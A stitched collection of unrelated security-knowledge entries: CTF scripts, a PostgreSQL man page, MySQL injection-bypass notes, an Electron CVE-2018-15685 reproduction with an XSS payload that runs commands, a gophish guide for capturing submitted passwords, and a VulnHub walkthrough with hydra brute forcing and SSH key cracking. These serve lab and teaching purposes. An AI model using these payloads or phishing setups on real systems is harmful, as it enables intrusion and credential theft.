C:/Users/lyc/eclipse-workspace/hitcon/source/hitconMenuDelegate.mc:14 onMenuItem (pc 268435529)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:16 initialize (pc 268435554)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:17 initialize (pc 268435558)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:18 initialize (pc 268435576)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:22 onLayout (pc 268435611)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:23 onLayout (pc 268435615)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:27 onUpdate (pc 268435636)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:28 onUpdate (pc 268435640)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:29 onUpdate (pc 268435660)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:30 onUpdate (pc 268435678)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:31 onUpdate (pc 268435718)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:32 onUpdate (pc 268435737)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:33 onUpdate (pc 268435759)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:35 onUpdate (pc 268435796)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:36 onUpdate (pc 268435818)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:37 onUpdate (pc 268435844)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:41 timerCallback (pc 268435913)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:42 timerCallback (pc 268435917)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:43 timerCallback (pc 268435936)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:46 solve (pc 268435953)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:47 solve (pc 268435957)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:48 solve (pc 268435964)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:50 solve (pc 268435985)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:51 solve (pc 268436008)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:52 solve (pc 268436018)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:53 solve (pc 268436046)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:54 solve (pc 268436050)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:55 solve (pc 268436054)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:57 solve (pc 268436061)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:60 drawFlag (pc 268436065)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:61 drawFlag (pc 268436069)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:62 drawFlag (pc 268436105)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:63 drawFlag (pc 268436117)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:64 drawFlag (pc 268436153)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:65 drawFlag (pc 268436172)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:66 drawFlag (pc 268436191)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconDelegate.mc:5 initialize (pc 268436247)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconDelegate.mc:6 initialize (pc 268436251)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconDelegate.mc:9 onMenu (pc 268436270)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconDelegate.mc:10 onMenu (pc 268436274)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconDelegate.mc:11 onMenu (pc 268436358)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconApp.mc:6 initialize (pc 268436362)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconApp.mc:7 initialize (pc 268436366)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconApp.mc:11 onStart (pc 268436385)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconApp.mc:15 onStop (pc 268436390)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconApp.mc:19 getInitialView (pc 268436395)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconApp.mc:20 getInitialView (pc 268436399)
Rez:15 MainLayout (pc 268436437)
Rez:26 initialize (pc 268436450)
Rez:27 initialize (pc 268436454)
Rez:28 initialize (pc 268436472)
Rez:29 initialize (pc 268436528)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:11 <init> (pc 268437102)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconView.mc:12 <init> (pc 268437660)
"""
def getsz(n):
if n in [49, 50]: return 9
if n in [24, 37, 38, 39, 52]: return 5
if n in [25, 35, 40, 41]: return 3
if n in [1, 10, 11, 15, 18, 19, 43, 46, 53]: return 2
return 1
opmap = []
for line in opcodes.splitlines():
line = line.strip()
if not line: continue
line = line.split()
name = line[-3]
opmap.append(name)
srcmapx = {}
prevfun = None
for line in srcmap.splitlines():
line = line.strip()
if not line: continue
s = line.split()
fun = s[-3]
if fun == prevfun: continue
prevfun = fun
pc = int(s[-1][:-1]) - 268435456
srcmapx[pc] = line
syms = {}
for line in open("syms").readlines():
line = line.strip()
if not line: continue
line = line.split(":")
arg = int(line[0])
syms[arg] = line[1].strip()
import sys, struct
s = open(sys.argv[1], "rb").read()
n = s.find(b"\xc0\xde\xba\xbe")
assert n != -1
sz = struct.unpack(">I", s[n+4:n+8])[0]
s = s[n+8:][:sz]
pc = 0
while pc < len(s):
op = s[pc]
sz = getsz(op)
arg = s[pc+1:][:sz-1]
args = 0
for a in arg:
args *= 256
args += a
if len(arg) == 2:
args += pc + 3
args &= 65535
if opmap[op] == "SPUSH":
args = syms[args]
if (opmap[op] == "ARGC"): print()
if pc in srcmapx:
print(srcmapx[pc])
print()
print("%04d: %s %s" % (pc, opmap[op], args))
pc += sz
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "MOVE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
MOVE \- 重定位一个游标
.SH SYNOPSIS
.sp
.nf
MOVE [ \fIdirection\fR { FROM | IN } ] \fIcursorname\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBMOVE\fR 在不检索数据的情况下重新定位一个游标。 MOVE ALL 把游标移动到结尾。 MOVE 的工作类似于 FETCH 命令, 但只是重定位游标而不返回行。
.PP
请参考
FETCH [\fBfetch\fR(7)]
命令获取语法和参数的详细信息。
.SH "OUTPUTS 输出"
.PP
成功完成时,MOVE 命令返回一个下面形式的命令标签
.sp
.nf
MOVE \fIcount\fR
.sp
.fi
\fIcount\fR 是移动的行数(可能为零)。
.SH "EXAMPLES 例子"
设置和使用一个游标:
.sp
.nf
BEGIN WORK;
DECLARE liahona CURSOR FOR SELECT * FROM films;
-- 忽略开头 5 行:
MOVE FORWARD 5 IN liahona;
MOVE 5
-- 抓取游标 liahona 里的第六行:
FETCH 1 FROM liahona;
code | title | did | date_prod | kind | len
-------+--------+-----+------------+--------+-------
P_303 | 48 Hrs | 103 | 1982-10-22 | Action | 01:37
(1 row)
-- 关闭游标 liahona 并提交工作:
CLOSE liahona;
COMMIT WORK;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准里没有 MOVE 语句。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
#!/usr/bin/python2
import binascii
import textwrap
def tb(s): # to binary
return bin(int(binascii.hexlify(s),32/2)).lstrip("0b")
def te(s): # pad to 128 bits
p = 2 << 6
return s + "0" * (p-len(s)%p)
def tk(s): # split into 64 bit blocks
return textwrap.wrap(s, 2<<5) #64
def tj(s): # split into 16 bit blocks
return textwrap.wrap(s, 2<<3) #16
def ti(l):
return int(l,2)
def tr(x,y): # hash
return (x<< y) or (x >> (16-y));
def th(x):
return "{0:#0{1}x}".format(x,8)
def tp(x,y):
s = th(x) + th(y)
s = s.replace("0x","")
return s
def myhash(text):
b = tb(text)
p = te(b)
bl = tk(p)
t11 = 3
q2 = 5
tu = [ y**2 for y in range(2<<4>>1)] # Squares up to 225
to = [2, 7, 8, 2, 5, 3, 7, 8, 9, 4, 11, 13, 5, 8, 14, 15]
for i in bl:
t1 = t11
t2 = q2
tl = tj(i)
tq = map(ti, tl)
for j in range(16):
if(j >= 12 ):
tz = (tq[0] & tq[1]) | ~tq[2]
elif(j >= 8):
tz = (tq[3] | tq[2])
elif(j >= 4):
tz = (~tq[2] & tq[0]) & (tq[1] | ~tq[0])
elif(j >= 0):
tz = (tq[0] | ~tq[2]) | tq[1]
else:
pass
t1 = t1 + tr(tz + tu[j] + tq[j%(16>>2)],to[j])
t2 = t1 + tr(t2,to[j]) %t1
t11 += t1
q2 += t2
t11 = t11 % 0xFF # Should be 0xFFFFFFFF, right?
q2 = q2 % 0xFF # Same here... 0xFFFFFFFF
return tp(t11,q2)
# t11=68
# q2=7d
i=1000000000000000000
while True:
s=myhash(str(i))
if i%10000==0:
print i,s
if s=="00006800007d":
print i
break
i+=1
|
sec-knowleage
|
# 0x00 特殊符号
MySQL中数据一般用一些符号包裹起来 如
```
mysql> select * from admin where id = "1";
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
```
常用到的特殊符号有那些呢
```
''
""
()
{}
\
\\
``
%
```
每个符号都是我们后期用来bypass的有力铺垫 比如
```
mysql> select * from `admin` where id = "1";
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
```
# 0x01 注释符号
MySQL中拥有多种注释符号
```
#
/**/ /*/**/这样是等效于/**/
-- + 用这个符号注意是--空格任意字符很多人搞混了
;%00
`
/*!*/ 内列注释为什么放在这里呢,因为它也可以当作一个空格 /*!/*!*/是等效于/*!*/的
```
# 0x02 操作符与逻辑操作符
取自官方文档 排列在同一行的操作符具有相同的优先级 (优先级这个东西很重要)
```
:=
||, OR, XOR
&&, AND
NOT
BETWEEN, CASE, WHEN, THEN, ELSE
=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
|
&
<<, >>
-, +
*, /, DIV, %, MOD
^
- (一元减号), ~ (一元比特反转)
!
BINARY, COLLATE
```
# 0x03 文末
本文主要讲到经常用到的操作符合,它们在后期bypass中起到重要作用
#### 本文如有错误,请及时提醒,避免误导他人
* author:404
|
sec-knowleage
|
# Electron WebPreferences 远程命令执行漏洞(CVE-2018-15685)
Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。
Electron在设置了`nodeIntegration=false`的情况下(默认),页面中的JavaScript无法访问node.js的内置库。CVE-2018-15685绕过了该限制,导致在用户可执行JavaScript的情况下(如访问第三方页面或APP存在XSS漏洞时),能够执行任意命令。
参考链接:
- https://electronjs.org/blog/web-preferences-fix
- https://www.contrastsecurity.com/security-influencers/cve-2018-15685
## 编译APP
执行如下命令编译一个包含漏洞的应用:
```
docker compose run -e PLATFORM=win64 --rm electron
```
其中PLATFORM的值是运行该应用的操作系统,可选项有:`win64`、`win32`、`mac`、`linux`。
编译完成后,再执行如下命令,启动web服务:
```
docker compose run --rm -p 8080:80 web
```
此时,访问`http://your-ip:8080/cve-2018-15685.tar.gz`即可下载编译好的应用。
## 复现漏洞
在本地打开应用:

点击提交,输入框中的内容将会显示在应用中,显然这里存在一处XSS漏洞。
我们提交`<img src=1 onerror="require('child_process').exec('calc.exe')">`,发现没有任何反馈,原因就是`nodeIntegration=false`。
此时,提交POC(Windows):
```
<img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');">
```
可见,calc.exe已成功弹出:

|
sec-knowleage
|
### Simon Block Cipher基本介绍
Simon 块加密算法由 NSA 2013 年 6 月公布,主要在**硬件实现**上进行了优化。
Simon Block Cipher 是平衡的 [Feistel cipher](https://en.wikipedia.org/wiki/Feistel_cipher) 加密,一共有两块,若每块加密的大小为 n bits,那么明文的大小就是 2n bits。此外,一般来说,该加密中所使用的密钥长度是块长度的整数倍,比如 2n,4n等。
一般来说,Simon 算法称之为 Simon 2*n*/nm,n 为块大小,m 是块大小与密钥之间的倍数。比如说 Simon 48/96 就是指明文是 48 比特,密钥是 96 比特的加密算法。
其中, $z_j$ 是由 Linear Feedback Shift Register (LFSR) 生成的,虽然对于不同的 $z_j$ 的逻辑不同,但是初始向量是固定的。
| Constant |
| :--------------------------------------: |
| $z_{0}$=11111010001001010110000111001101111101000100101011000011100110 |
| $z_{1}$=10001110111110010011000010110101000111011111001001100001011010 |
| $z_{2}$=10101111011100000011010010011000101000010001111110010110110011 |
| $z_{3}$=11011011101011000110010111100000010010001010011100110100001111 |
| $z_{4}$=11010001111001101011011000100000010111000011001010010011101111 |
|
sec-knowleage
|
## gophish概述
开源钓鱼工具:支持配置钓鱼邮件模板、公司员工邮箱信息等等;
[github地址](https://github.com/gophish/gophish)
## 安装与使用
### Centos7安装gophish
```
# 下载
wget https://github.com/gophish/gophish/releases/download/0.7.1/gophish-v0.7.1-linux-64bit.zip
# 解压并启动
mkdir -p /app/gophish
unzip gophish-v0.7.1-linux-64bit.zip -d /app/gophish/ && cd /app/gophish/
# 修改配置文件,修改监听地址
```

```
# 启动gophish
./gophish
# 访问:https://10.10.10.5:3333
# 用户名:admin 密码:gophish
# 至此安装完成
```

### 基础使用
* **配置Users & Groups**

* **配置Email Templates**

* **配置Landing Pages**

* **配置Sending Profiles**



## 使用gophish获取用户输入的账号密码
* **配置一个用于钓鱼的页面**
```
# 我这里随机找了一个登录站点用于测试
# http://xnore.com/admin/login.php
# 点击import site,填写如上的网址
# 勾选Capture Submitted Data
# 勾选Capture Passwords
# Redirect to填写:http://xnore.com/admin/login.php
```

* **配置邮件的模版**
```
# 构造一封用于钓鱼的邮件
# 查看邮件源文件,复制源文件信息
# 在邮件模版选择import email
```



* **配置Campaigns**

```
# 员工访问邮件
# 员工通过邮件中的地址输入账号密码
```



## 使用心得
### 优点
* 能够进行企业内部员工安全意识培训起到很好的辅助作用;
* 如果条件允许的情况,可以结合MSF进行PC内网渗透;
### 缺点
* 不支持员工邮箱导入,如果需要进行"海钓"需要一个一个添加,手工活,不过可以通过脚本来实现;
* 获取的用户信息只包括操作系统版本、浏览器版本、以及用户提交的数据,不能精准定位到是哪个用户点击了钓鱼链接;
## 参考资料
[Automate Phishing Emails with GoPhish](https://www.youtube.com/watch?v=knc6Iq-hNcw)
|
sec-knowleage
|
# 19. 正则表达式匹配
[牛客网](https://www.nowcoder.com/practice/28970c15befb4ff3a264189087b99ad4?tpId=13&tqId=11205&tab=answerKey&from=cyc_github)
## 题目描述
请实现一个函数用来匹配包括 '.' 和 '\*' 的正则表达式。模式中的字符 '.' 表示任意一个字符,而 '\*' 表示它前面的字符可以出现任意次(包含 0 次)。
在本题中,匹配是指字符串的所有字符匹配整个模式。例如,字符串 "aaa" 与模式 "a.a" 和 "ab\*ac\*a" 匹配,但是与 "aa.a" 和 "ab\*a" 均不匹配。
## 解题思路
应该注意到,'.' 是用来当做一个任意字符,而 '\*' 是用来重复前面的字符。这两个的作用不同,不能把 '.' 的作用和 '\*' 进行类比,从而把它当成重复前面字符一次。
```java
public boolean match(String str, String pattern) {
int m = str.length(), n = pattern.length();
boolean[][] dp = new boolean[m + 1][n + 1];
dp[0][0] = true;
for (int i = 1; i <= n; i++)
if (pattern.charAt(i - 1) == '*')
dp[0][i] = dp[0][i - 2];
for (int i = 1; i <= m; i++)
for (int j = 1; j <= n; j++)
if (str.charAt(i - 1) == pattern.charAt(j - 1) || pattern.charAt(j - 1) == '.')
dp[i][j] = dp[i - 1][j - 1];
else if (pattern.charAt(j - 1) == '*')
if (pattern.charAt(j - 2) == str.charAt(i - 1) || pattern.charAt(j - 2) == '.') {
dp[i][j] |= dp[i][j - 1]; // a* counts as single a
dp[i][j] |= dp[i - 1][j]; // a* counts as multiple a
dp[i][j] |= dp[i][j - 2]; // a* counts as empty
} else
dp[i][j] = dp[i][j - 2]; // a* only counts as empty
return dp[m][n];
}
```
|
sec-knowleage
|
## Asian Cheetah (Misc, 50p)
We have hidden a message in png file using jar file. Flag is hidden message. Flag is in this format:
SharifCTF{flag}
Download cheetah.tar.gz
###ENG
[PL](#pl-version)
In this task we had an image and a Java program used to hide flag in it. Decompiling the program allows us to notice
that least significant bits are used to hide the message. We can easliy get the flag using the following script:
```
from PIL import Image
im=Image.open("AsianCheetah1.png")
l=list(im.getdata())
b=[]
for x in l:
b.append(x[2]&1)
s=[]
for i in range(100):
c=0
for j in range(8):
c*=2
c+=b[i*8+j]
s.append(chr(c))
print repr("".join(s))
```
###PL version
W zadaniu dostaliśmy obrazek i program w Javie, którego użyto do ukrycia w nim flagi. Dekompilacja programu pozwala
nam dostrzec fakt użycia najmłodszych bitów do zakodowania wiadomości. Flagę możemy otrzymać używając tego skryptu:
```
from PIL import Image
im=Image.open("AsianCheetah1.png")
l=list(im.getdata())
b=[]
for x in l:
b.append(x[2]&1)
s=[]
for i in range(100):
c=0
for j in range(8):
c*=2
c+=b[i*8+j]
s.append(chr(c))
print repr("".join(s))
```
|
sec-knowleage
|
# Writeup Hitcon CTF Quals 2015
Uczestniczyliśmy (msm, Rev, Shalom, other019, nazywam i pp) w Hitcon CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).
Ogólne wrażenia:
?
Opisy zadań po kolei.
# Spis treści:
* [Puzzleng (forensic 250)](forensic_250_puzzleng)
* [Simple (crypto 100)](crypto_100_simple)
* [Rsabin (crypto 314)](crypto_314_rsabin)
* [Babyfirst (web 100)](web_100_babyfirst)
* [Hardtosay (misc 200)](misc_200_hardtosay)
# Table of contents:
* [Puzzleng (forensic 250)](forensic_250_puzzleng#eng-version)
* [Simple (crypto 100)](crypto_100_simple#eng-version)
* [Rsabin (crypto 314)](crypto_314_rsabin#eng-version)
* [Babyfirst (web 100)](web_100_babyfirst#eng-version)
* [Hardtosay (misc 200)](misc_200_hardtosay#eng-version)
# Zakończenie
Zachęcamy do komentarzy/pytań/czegokolwiek.
|
sec-knowleage
|
fping
===
fping检测主机是否存在
## 补充说明
**fping命令** fping类似于ping,但比ping强大。与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping,fping还可以在命令行中指定要ping的主机数量范围。
### 语法
```shell
fping(选项)(参数)
```
### 选项
```shell
-a # 显示存活的主机
-b # ping 数据包的大小。(默认为56)
-c # ping每个目标的次数 (默认为1)
-f # 从文件获取目标列表(不能与 -g 同时使用)
-l # 循环发送ping
-g # 通过指定开始和结束地址来生成目标列表,可以使网段
-u # 显示不可到达的目标
```
### 实例
安装fping命令:
```shell
# 先安装epel源:
yum install epel* -y
# 安装fping包:
yum install fping -y
```
选择性ping指定ip:
```shell
~]# fping 192.168.0.1 192.168.0.125 192.168.0.126 2>/dev/null
192.168.0.1 is alive
192.168.0.125 is alive
192.168.0.126 is unreachable
```
ping整个网段:
```bash
~]# fping -g 192.168.0.0/24 2>/dev/null
192.168.0.1 is alive
192.168.0.103 is alive
...
192.168.0.253 is unreachable
192.168.0.254 is unreachable
```
ping整个网段,只显示存活的主机:
```shell
~]# fping -ag 192.168.0.0/24 2>/dev/null
192.168.0.1
192.168.0.103
...
```
ping某一段ip:
```shell
~]# fping -ag 192.168.0.5 192.168.0.130 2>/dev/null
192.168.0.103
...
192.168.0.125
192.168.0.130
```
|
sec-knowleage
|
# Pinkys Palace v2
> https://download.vulnhub.com/pinkyspalace/Pinkys-Palace2.zip
靶场IP:

扫描对外端口
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -sV -p 1-65535 192.168.32.182
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-20 04:34 EDT
Nmap scan report for 192.168.32.182
Host is up (0.000068s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
4655/tcp filtered unknown
7654/tcp filtered unknown
31337/tcp filtered Elite
MAC Address: 00:0C:29:D4:C9:B0 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.36 seconds
```
需要配置本地hosts
```
┌──(root💀kali)-[~/Desktop]
└─# cat /etc/hosts
192.168.32.182 pinkydb
```

再次刷新

爆破web目录找到一个`secret`目录

访问bambam.txt,得到一串数字

判断要使用端口敲门,需要调整端口顺序,测试的正确顺序是:`7000,666,8890`
```
┌──(root💀kali)-[~/Desktop]
└─# knock 192.168.32.182 7000 666 8890
```
端口开启了

IP访问会403

要使用域名

获取用户名
```
┌──(root💀kali)-[~/Desktop]
└─# wpscan --url http://pinkydb -eu
[i] User(s) Identified:
[+] pinky1337
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
```
生成密码字典
```
┌──(root💀kali)-[/tmp]
└─# cewl -d 1 -w /tmp/words.txt http://pinkydb
CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
┌──(root💀kali)-[/tmp]
└─# cat words.txt | wc -l
157
```
爆破用户密码:`pinky/Passione`
```
┌──(root💀kali)-[/tmp]
└─# hydra -L user.txt -P /tmp/words.txt -s 7654 pinkydb http-post-form '/login.php:user=^USER^&pass=^PASS^:F=Invalid' 255 ⨯
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-20 06:01:35
[DATA] max 16 tasks per 1 server, overall 16 tasks, 314 login tries (l:2/p:157), ~20 tries per task
[DATA] attacking http-post-form://pinkydb:7654/login.php:user=^USER^&pass=^PASS^:F=Invalid
[7654][http-post-form] host: pinkydb login: pinky password: Passione
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-20 06:01:37
```


根据提示ssh用户是`stefano`

但是发现证书需要密码
提取证书哈希
```
┌──(root💀kali)-[~/Downloads]
└─# python /usr/share/john/ssh2john.py id_rsa
id_rsa:$sshng$1$16$BAC2C72352E75C879E2F26CC61A5B6E7$1200$972c9d97dc224ef52b94ced25c12a03043f9b422bbd1171eeb98bdb2beebc479969bdd6ecddd86601812a8644888f2cf8497518bc1f2448cfed6d7f614fa01be48d697e5b244fa68568bd77c48cbea556f6a4e96d5e34eb9a1818ca4fef1e685242eb6775a33b843367aaa4f72c569f29bb0ccff10efbcd8a592bd20e528df18aea6fe11ae704418f623682d652c5468ce5bd4b684e7450d100ab8d8b9a2fb1184358815a835ce59327d60aa106a43fa04eff7dfe1e1a1b46da2d4b76c7157fdb3293a641585140d70aa56f6560bf9327e411f1dbb1882e8ee8eb2673cb102e734da82419eb83906d96efd3cb1f000d5651ef40d5037abefd4a229f1242bc7df374acce833a8747dadd8f98623ba369d10ce0fff6966a0ae28f91aa0698c212d698d86c715d043c7e535e95832f75c8c7bd9ae35bcacac14d278726a5bb4fa71672e71c7ead32f004ea8a9e23120e3ba8890fbc944eb19fcf44fb951250eca41f783407f8a18a8226cb8bad1758a41a9d19ab0a230b2a789d2c28dcb72aac821966e603e9ab3c3c0ae3d0dc4a8f5881d8a033da93b324e927e965a0be1d045ab8c6d0ab2e5cacff584ed53566a46076a32c5bb8276b0c294e213670047e016f429b2fe7f9c5a80ef9fe71e4ab4f5abcd408cbd6b2854a6c0b5a32a22a02471112afdf348ca011333862809d0e543b03993d7faa41519b6be089dac64c7729ddf4766b70c0f6f47e022c63be545820aacdd752fa48713e00af1f5f54893786ce977809c23a18f97fd4361782676ea3dd910cc13491c29eb13c465e3299097a945cbf86f19698312d6e872474d1c61fdbc5db6919b8d98629144e7d8379a662580fdfcbdd122f702f941835688de52dfc0183be34bc4217cd4700d4c13607494988933e1f42df20d9ba77122c40fc41fd2175741e8044b4fcde69c96a249441a565992b9e148f9d61a2aca60d37e14b91c0c12e976a237e497c9f5db640a8730e4e57a060db06b18a46317201d682be38b952c198a6131434e368d57b883167492edd087fbad98651fdd17fb2ac9e0e36b52b7ab9a55b957c4ed4944fac8fc046de5bec28cf04166d21751bb4f174fe6c34ab4b55647ffd0568d3bef02230f941bc5c26ba318a4be040d64ad3cfa604ad889fa0a4c84955accfb1f5a785e7d580f4b2a7c5b66d934b3b038fec75069c38297c2ab80a117cbeb517a85540a872695f07e9768908aba3f16d918527b7da93bbfcc358c826ad673e4eb54b745c76067f61043a48a1abc85e717a731cad299cb45c7e1a5f7d50cc8d557bd12979e1633d9aa2c747351665984051e85990aaeca2ed0b1e84eb9169184a1ad3d6c73bb882e88a271fb97a567a0a9760a2d24d8e98567e622a8bff784dd6de6c43fcc20ee059a2e1501c0a9d84c17525c1063c8c8f37f55624029900df5b8d35fa78190c3b00daaca298cde9b2883e9a7c1557426e083b0e519952e7ffe1c9d739cea00c02b8fbabe97300b8027255b017e08ce9966a362995ed339839103648fe529b46f2e0bb543c1c7781417cff8848ed4b20332d2dd7f5ff7a8c6c342ca9b7475ed66cd8ff380af6c9d823df1ef4eb1b7d097d75ae6688a7317b46c3163bc7f211d1510773f7c709385733ba29e2ad0c71c0893eb84f221c2b33e7476ac246b262e5cb2fce7bad9cd87c76461d3dc5c534245
```
```
┌──(root💀kali)-[~/Downloads]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
secretz101 (id_rsa)
1g 0:00:00:06 DONE (2022-07-20 06:09) 0.1569g/s 2251Kp/s 2251Kc/s 2251KC/sa6_123..*7¡Vamos!
Session completed
```
SSH登录成功
```
┌──(root💀kali)-[~/Downloads]
└─# ssh -i id_rsa stefano@192.168.32.182 -p4655
Enter passphrase for key 'id_rsa':
Linux Pinkys-Palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Mar 17 21:18:01 2018 from 172.19.19.2
stefano@Pinkys-Palace:~$
```
我们探索一下 Stefano 的主目录,看看是否能找到一些有趣的东西。
```
stefano@Pinkys-Palace:~$ ls -al
total 32
drwxr-xr-x 4 stefano stefano 4096 Mar 17 2018 .
drwxr-xr-x 5 root root 4096 Mar 17 2018 ..
-rw------- 1 stefano stefano 273 Mar 17 2018 .bash_history
-rw-r--r-- 1 stefano stefano 220 May 15 2017 .bash_logout
-rw-r--r-- 1 stefano stefano 3526 May 15 2017 .bashrc
-rw-r--r-- 1 stefano stefano 675 May 15 2017 .profile
drwx------ 2 stefano stefano 4096 Mar 17 2018 .ssh
drwxr-xr-x 2 stefano stefano 4096 Mar 17 2018 tools
stefano@Pinkys-Palace:~$ cd tools/
stefano@Pinkys-Palace:~/tools$ ls -al
total 28
drwxr-xr-x 2 stefano stefano 4096 Mar 17 2018 .
drwxr-xr-x 4 stefano stefano 4096 Mar 17 2018 ..
-rw-r--r-- 1 stefano stefano 65 Mar 16 2018 note.txt
-rwsr----x 1 pinky www-data 13384 Mar 16 2018 qsub
```
所以我们有一个用户拥有的 SUID 二进制文件,`pinky`它可能(可能)是可利用的。唯一的问题是我们没有文件的读取权限。但是`www-data`团子有!也许我们可以找到一种方法以 user 的身份生成 shell `www-data`。
让我们前往网络服务器根目录,看看是否有任何可写的目录或文件:
```
stefano@Pinkys-Palace:/var/www/html/apache$ ls -al
total 8580
drwxr-xr-x 7 www-data www-data 4096 Mar 17 2018 .
drwxr-xr-x 4 www-data www-data 4096 Mar 17 2018 ..
-rw-r--r-- 1 root root 235 Mar 14 2018 .htaccess
-rw-r--r-- 1 root root 418 Mar 17 2018 index.php
-rw-r--r-- 1 root root 8565525 Feb 6 2018 latest.tar.gz
-rw-r--r-- 1 root root 19935 Mar 17 2018 license.txt
-rw-r--r-- 1 root root 7413 Mar 17 2018 readme.html
drwxr-xr-x 2 root root 4096 Mar 17 2018 secret
drwxr-xr-x 5 nobody nogroup 4096 Feb 6 2018 wordpress
-rw-r--r-- 1 root root 5434 Mar 17 2018 wp-activate.php
drwxr-xr-x 9 root root 4096 Mar 17 2018 wp-admin
-rw-r--r-- 1 root root 364 Mar 17 2018 wp-blog-header.php
-rw-r--r-- 1 root root 1627 Mar 17 2018 wp-comments-post.php
-rw-rw-rw- 1 www-data www-data 3135 Mar 17 2018 wp-config.php
-rw-r--r-- 1 root root 2853 Mar 17 2018 wp-config-sample.php
